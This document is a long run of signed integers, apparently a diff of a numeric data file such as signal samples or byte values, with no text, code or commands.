-6 -80 --98 -19 -112 -7 --66 --99 -19 -112 -7 --80 --98 -19 -112 -6 --66 --96 -17 -109 -6 --79 --100 -18 -111 -7 --65 --97 -18 -113 -137 -137 -35 +-128 +-128 -59 --118 --118 --54 -60 -137 -129 -20 --72 --118 --118 --50 -62 -137 -135 -22 --68 --118 --118 --46 -65 -137 -131 -23 --70 --118 --118 --47 -67 -137 -133 -25 --67 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --45 -66 -137 -136 -24 --66 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --47 -68 -137 -133 -24 --69 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -67 -137 -136 -24 --68 --118 --118 --47 -66 -137 -134 -26 --67 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --46 -66 -137 -133 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -134 -24 --70 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -64 -137 -136 -23 --69 --118 --118 --49 -65 -137 -133 -23 --66 --118 --118 --47 -68 -137 -134 -26 --66 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -64 -137 -136 -23 --67 --118 --118 --47 -67 -137 -135 -24 --69 --118 --118 --48 -68 -137 -133 -26 --66 --118 --118 --49 -66 -137 -133 -23 --65 --118 --118 --48 -67 -137 -135 -23 --67 --118 --118 --49 -64 -137 -136 -23 --67 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -64 -137 -134 -23 --70 --118 --118 --50 -66 -137 -132 -23 --66 --118 --118 --47 -68 -137 -136 -25 --69 --118 --118 --48 -66 -137 -134 -26 --66 --118 --118 --44 -67 --25 --90 --100 -22 -120 -14 --59 --89 -26 -118 -12 --76 --96 -20 -112 -6 --64 --98 -18 -110 -6 --82 --99 -18 -111 -5 --65 --98 -19 -111 -7 --82 --99 -18 -112 -7 --65 --98 -19 -113 -6 --79 --97 -19 -112 -7 --81 --98 -19 -111 -8 --81 --98 -18 -113 -8 --65 --98 -20 -110 -9 --81 --98 -18 -113 -137 -137 -36 --58 --118 --118 --54 -58 -137 -131 -22 --56 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -136 -23 --68 --118 --118 --47 -66 -137 -136 -25 --68 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --48 -65 -137 -134 -24 --70 --118 --118 --47 -68 --26 --92 --102 -23 -119 -13 --76 --87 -26 -117 -11 --62 --96 -17 -108 -5 --80 --98 -14 -108 -5 --68 --102 -14 -112 -9 --82 --101 -15 -110 -8 --83 --101 -15 -113 -10 --81 --101 -14 -111 -9 --66 --101 -15 -113 -10 --81 --101 -14 -111 -9 --66 --101 -14 -112 -10 --81 --100 -15 -113 -10 --65 --101 -14 -110 -9 --82 --101 -14 -112 -9 --66 --100 -15 -110 -9 --82 --100 -15 -112 -10 --65 --100 -15 -110 -8 --82 --101 -15 -114 -10 --65 --101 -15 -111 -9 --82 --100 -15 -113 -10 --64 --101 -15 -110 -9 --82 --101 -14 -113 -9 --67 --100 -16 -108 -6 --83 --100 -16 -114 -9 --67 --101 -15 -112 -10 --81 --100 -15 -110 -137 -137 -34 --56 --118 --118 --58 56 -137 -130 -18 --70 --118 --118 --47 -67 -137 -135 -24 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --46 -68 -137 -135 -24 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -69 -137 -136 -27 --69 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --47 -66 -137 -134 -23 --68 --118 --118 --47 -69 -137 -136 -26 --69 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --45 -66 -137 -134 -24 --68 --118 --118 --47 -69 -137 -135 -24 --67 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -69 -137 -136 -26 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -66 -137 -136 -23 --67 --118 --118 --47 -66 -137 -136 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -69 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --47 -68 -137 -136 -27 --68 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --46 -69 -137 -134 -23 --68 --118 --118 --48 -68 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -64 -137 -136 -23 --69 --118 --118 --48 -65 -137 -134 -23 --70 --118 --118 --48 -68 -137 -135 -27 --68 --118 --118 --50 -65 -137 -132 -22 --66 --118 --118 --50 -63 -137 -135 -22 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -68 -137 -136 -24 --67 --118 --118 --46 -65 -137 -136 -26 --69 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -134 -26 --66 --118 --118 --45 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -137 -26 --66 --118 --118 --46 -68 -137 -137 -25 --67 --118 --118 --46 -67 -137 -136 -24 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --67 --118 --118 --47 -68 -137 -134 -23 --68 --118 --118 --48 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --46 -66 -137 -136 -24 --69 --118 --118 --48 -65 -137 -134 -26 --65 --118 --118 --49 -65 -137 -131 -22 --70 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --45 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --47 -69 -137 -136 -23 --66 --118 --118 --50 -64 -137 -135 -22 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -24 --67 --118 --118 --46 -68 -137 -136 -25 --68 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --46 -67 -137 -136 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --48 -64 -137 -136 -23 --68 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --45 -67 -137 -137 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -134 -25 --65 --118 --118 --47 -66 -137 -136 -25 --68 --118 --118 --46 -67 -137 -134 -23 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -65 -137 -134 -23 --70 --118 --118 --49 -64 -137 -136 -22 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -67 -137 -136 -27 --69 --118 --118 --48 -68 -137 -136 -24 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -67 -137 -134 -26 --69 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -66 -137 -135 -26 --67 --118 --118 --50 -65 -137 -133 -22 --66 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --49 -63 -137 -136 -22 --67 --118 --118 --46 -68 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -68 -137 -134 -24 --67 --118 --118 --45 -67 -137 -136 -23 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --45 -66 -137 -134 -24 --68 --118 --118 --48 -68 -137 -133 -24 --67 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --48 -66 -137 -132 -23 --70 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -65 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --49 -64 -137 -136 -22 --67 --118 --118 --47 -68 -137 -134 -26 --67 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --46 -66 -137 -134 -25 --66 --118 --118 --45 -66 -137 -137 -23 --66 --118 --118 --46 -67 --26 --92 --101 -23 -119 -13 --74 --87 -27 -118 -12 --61 --96 -20 -112 -7 --80 --98 -18 -111 -4 --66 --98 -18 -111 -7 --82 --98 -19 -112 -7 --65 --98 -19 -112 -5 --80 --97 -19 -112 -7 --65 --99 -19 -110 -9 --82 --100 -20 -112 -6 --66 --97 -17 -112 -8 --82 --98 -18 -111 -6 --66 --97 -16 -108 -137 -137 -33 --61 --118 --118 --58 -59 -137 127 -19 --69 --118 --118 --48 -68 -137 -134 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -67 -137 -135 -25 --67 --118 --118 --45 -66 -137 -134 -24 --68 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -134 -23 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -67 -137 -135 -26 --67 --118 --118 --45 -68 -137 -135 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -134 -25 --68 --118 --118 --46 -65 -137 -136 -23 --66 --118 --118 --50 -63 -137 -134 -22 --67 --118 --118 --48 -67 -137 -133 -23 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --45 -68 -137 -135 -25 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --48 -66 -137 -131 -22 --70 --118 --118 --48 -67 -137 -135 -24 --66 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -67 -137 -136 -25 --67 --118 --118 --45 -66 -137 -134 -25 --68 --118 --118 --45 -66 -137 -134 -24 --68 --118 --118 --49 -63 -137 -134 -22 --69 --118 --118 --50 -67 -137 -132 -23 --65 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -65 -137 -132 -24 --70 --118 --118 --47 -67 -137 -134 -25 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -69 -137 -134 -24 --67 --118 --118 --47 -67 -137 -133 -26 --68 --118 --118 --50 -66 -137 -132 -23 --66 --118 --118 --47 -68 -137 -133 -25 --66 --118 --118 --45 -66 -137 -136 -26 --67 --118 --118 --46 -65 -137 -136 -23 --66 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --45 -65 -137 -132 -24 --66 --118 --118 --47 -64 --26 --91 --102 -23 -120 +123 13 --58 --87 -27 -118 -12 --77 --94 -17 -109 -4 --67 --100 -15 -106 -3 --85 --102 -15 -113 -8 --68 --101 -14 -112 -10 --81 --100 -14 -111 -9 --66 --100 -15 -113 -10 --81 --101 -14 -109 -8 --67 --101 -14 -113 -10 --81 --100 -15 -112 -9 --65 --100 -15 -112 -137 -137 -34 +-76 +-128 +-128 -57 --118 --118 --55 -61 -137 -130 -20 --71 --118 --118 --47 -67 -137 -135 -27 --69 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --47 -66 -137 -133 -26 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --48 -64 -137 -134 -24 --70 --118 --118 --49 -63 -137 -135 -23 --66 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -65 -137 -134 -24 --69 --118 --118 --48 -67 -137 -133 -26 --66 --118 --118 --45 -65 -137 -136 -25 --67 --118 --118 --47 -67 -137 -136 -26 --67 --118 --118 --47 -68 -137 -134 -25 --68 --118 --118 --46 -67 -137 -135 -24 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -134 -23 --70 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --47 -67 -137 -133 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -135 -23 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --46 -66 -137 -134 -24 --66 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -68 -137 -132 -25 --65 --118 --118 --47 -67 -137 -135 -25 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -67 -137 -136 -24 --69 --118 --118 --48 -68 -137 -136 -25 --68 --118 --118 --48 -65 -137 -133 -24 --70 --118 --118 --49 -65 -137 -131 -22 --70 --118 --118 --47 -68 -137 -133 -26 --67 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --48 -68 -137 -136 -24 --66 --118 --118 --45 -68 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --49 -64 -137 -134 -23 --70 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --47 -67 -137 -133 -25 --67 --118 --118 --46 -65 -137 -136 -24 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -23 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --48 -64 -137 -135 -23 --69 --118 --118 --49 -64 -137 -135 -23 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -25 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -68 -137 -135 -25 --68 --118 --118 --46 -65 --25 --93 --99 -22 -120 +58 +127 +126 15 --59 --89 -28 -117 +-77 +-128 +-128 +-57 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 14 -78 --96 -17 -109 -6 --68 --102 -14 -112 -8 --84 --102 -14 -112 -9 --66 --101 -15 -110 -9 --81 --101 -14 -112 -9 --65 --101 -15 -112 -10 --81 --101 -14 -112 -9 --65 --101 -15 -112 -10 --81 --100 -15 -112 -10 --65 --100 -15 -113 -10 --81 --100 -16 -109 -8 --67 --100 -15 -113 -10 --82 --101 -14 -111 -9 --65 --101 -15 -112 -10 --81 --100 -15 -112 -10 --65 --101 -15 -112 -10 --81 --100 -15 -112 -10 --65 --100 -14 -112 -10 --81 --100 -15 -112 -10 --65 --100 -14 -111 -10 --82 --100 -15 -113 -10 --66 --101 -15 -111 -10 --82 --100 -15 -113 -10 --65 --101 -15 -112 -137 -137 -34 +-128 +-128 -56 --118 --118 --55 -62 -137 -130 -20 --71 --118 --118 --49 -63 -137 -136 -23 --68 --118 --118 --45 -65 -137 -130 -21 --70 --118 --118 --48 -68 -137 -134 -26 --69 --118 --118 --48 -64 -137 -134 -23 --70 --118 --118 --49 -63 -137 -135 -22 --68 --118 --118 --47 -68 -137 -136 -24 --68 --118 --118 --46 -68 -137 -135 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --49 -64 -137 -134 -24 --70 --118 --118 --48 -67 -137 -135 -26 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -134 -22 --70 --118 --118 --50 -67 -137 -132 -24 --65 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -136 -23 --66 --118 --118 --50 -64 -137 -134 -22 --66 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --50 -63 -137 -134 -22 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --47 -67 -137 -135 -27 --69 --118 --118 --46 -68 -137 -134 -26 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --47 -66 -137 -135 -26 --69 --118 --118 --46 -68 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -24 --66 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -135 -25 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -68 -137 -136 -26 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --48 -65 -137 -131 -22 --70 --118 --118 --46 -68 -137 -134 -26 --66 --118 --118 --45 -68 --27 --92 --99 -19 -116 -11 --61 --91 -23 -119 +56 +127 +126 15 --76 --98 -16 -109 -7 --67 --102 -13 -111 -8 --83 --102 -14 -111 -9 --66 --100 -15 -113 -10 --81 --100 -16 -110 -9 --66 --101 -14 -112 -9 --82 --101 -15 -109 -8 --66 --101 -15 -112 -9 --82 --101 -14 -111 -9 --65 --101 -15 -111 -9 --82 --101 -15 -111 -137 -137 -34 +-78 +-128 +-128 -57 --118 --118 --56 -60 -137 -132 -20 --70 --118 --118 --48 -67 -137 -137 -23 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --47 -69 -137 -137 -23 --65 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --49 -63 -137 -136 -22 --68 --118 --118 --46 -66 -137 -137 -23 --66 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -67 -137 -134 -23 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --47 -66 -137 -136 -25 --68 --118 --118 --47 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -136 -23 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --67 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --46 -67 -137 -137 -26 --66 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -65 -137 -136 -24 --67 --118 --118 --47 -66 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --48 -66 -137 -134 -25 --66 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -136 -24 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --48 -68 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -65 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -68 -137 -133 -26 --67 --118 --118 --50 -65 -137 -134 -23 --65 --118 --118 --48 -66 -137 -135 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -67 -137 -136 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -66 -137 -134 -23 --68 --118 --118 --47 -68 -137 -134 -26 --66 --118 --118 --50 -64 -137 -134 -23 --66 --118 --118 --46 -67 -137 -134 -23 --68 --118 --118 --49 -66 -137 -133 -25 --67 --118 --118 --46 -65 -137 -136 -22 --67 --118 --118 --49 -63 -137 -136 -22 --69 --118 --118 --47 -67 -137 -136 -23 --68 --118 --118 --46 -67 --27 --92 --102 -22 -118 -16 --75 --88 -27 -120 -12 --61 --95 -20 -112 -8 --81 --99 -18 -112 -5 --64 --98 -18 -110 -6 --82 --100 -19 -111 -9 --66 --98 -16 -107 -4 --84 --100 -14 -109 -7 --67 --101 -14 -112 -10 --82 --100 +58 +127 +127 15 -111 -9 --66 --100 -15 -112 -10 --81 --100 -15 -110 -9 --66 --101 -15 -111 -137 -137 -34 --56 --118 --118 --56 -61 -137 -130 -22 --70 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -65 -137 -136 -26 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -66 --28 --91 --100 -22 -120 -14 --59 --88 -28 -118 -14 --76 --96 -19 -113 -8 --65 --100 -19 -109 -8 --83 --98 -15 -108 -4 --68 --99 -17 -108 -4 --83 --99 -16 -108 -4 --67 --98 -20 -109 -9 --83 --96 -18 -111 -6 --66 --97 -17 -110 -8 --79 --98 -20 -110 -9 --67 --96 -18 -111 -137 -137 -36 +-78 +-128 +-128 -58 --118 --118 +58 +127 +127 +16 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 -55 +57 +127 +126 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-76 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +56 +127 +124 +13 +-78 +-128 +-128 +-56 +58 +127 +126 +18 +-78 +-128 +-128 +-57 +58 +127 +126 +13 +-76 +-128 +-128 +-60 +53 +127 +125 +12 +-76 +-128 +-128 +-57 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-77 +-128 +-128 +-58 +55 +127 +124 +14 +-80 +-128 +-128 +-57 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-79 +-128 +-128 +-57 +57 +127 +123 +15 +-75 +-128 +-128 +-58 +57 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 59 -137 -130 -21 --71 --118 --118 --47 -66 -137 -133 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -133 -23 --68 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --45 -65 -137 -132 -24 --66 --118 --118 --47 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --46 -65 -137 -134 -27 --68 --118 --118 --50 -65 -137 -132 -22 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -136 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -22 --68 --118 --118 --47 -68 -137 -134 -26 --67 --118 --118 --46 -67 -137 -134 -24 --67 --118 --118 --47 -68 -137 -135 -27 --69 --118 --118 --50 -65 -137 -132 -22 --66 --118 --118 --48 -68 -137 -133 -26 --66 --118 --118 --49 -65 -137 -134 -23 --65 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -66 -137 -134 -26 --66 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --45 -66 -137 -133 -26 --66 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -65 -137 -136 -23 --66 --118 --118 --49 -64 -137 -135 -22 --68 --118 --118 --46 -65 -137 -132 -23 --66 --118 --118 --47 -65 -137 -135 -27 --69 --118 --118 --48 -64 -137 -134 -23 --70 --118 --118 --49 -64 --28 --94 --88 -20 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +123 +15 +-75 +-128 +-128 +-57 +56 +127 +126 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +55 +127 +122 +12 +-78 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-57 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +14 +-80 +-128 +-128 +-58 +57 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +55 +127 +126 +13 +-76 +-128 +-128 +-56 +55 +127 121 +12 +-80 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-80 +-128 +-128 +-59 +55 +127 +124 +13 +-75 +-128 +-128 +-57 +57 +127 +126 15 --61 --90 +-77 +-128 +-128 +-56 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +126 +16 +-78 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-58 +56 +127 +121 +11 +-80 +-128 +-128 +-58 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-77 +-128 +-128 +-55 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +13 +-78 +-128 +-128 +-57 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +125 +13 +-79 +-128 +-128 +-60 +56 +-35 +-104 +-98 +8 +110 +7 +-86 +-100 +13 +109 +5 +-71 +-109 +6 +100 +-1 +-92 +-112 +4 +101 +-1 +-76 +-111 +4 +99 +-2 +-92 +-110 +5 +103 +0 +-75 +-110 +5 +100 +-1 +-92 +-110 +5 +103 +0 +-75 +-110 +5 +100 +-2 +-92 +-110 +5 +104 +0 +-76 +-111 +5 +98 +-2 +-93 +-111 +4 +103 +0 +-75 +-111 +5 +99 +127 +127 23 -119 +-67 +-128 +-128 +-66 +50 +127 +120 +11 +-81 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +17 +-78 +-128 +-128 +-60 +54 +127 +123 +12 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +123 +13 +-80 +-128 +-128 +-57 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +122 +15 +-77 +-128 +-128 +-56 +55 +127 +124 +16 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-57 +55 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +123 +14 +-78 +-128 +-128 +-59 +53 +127 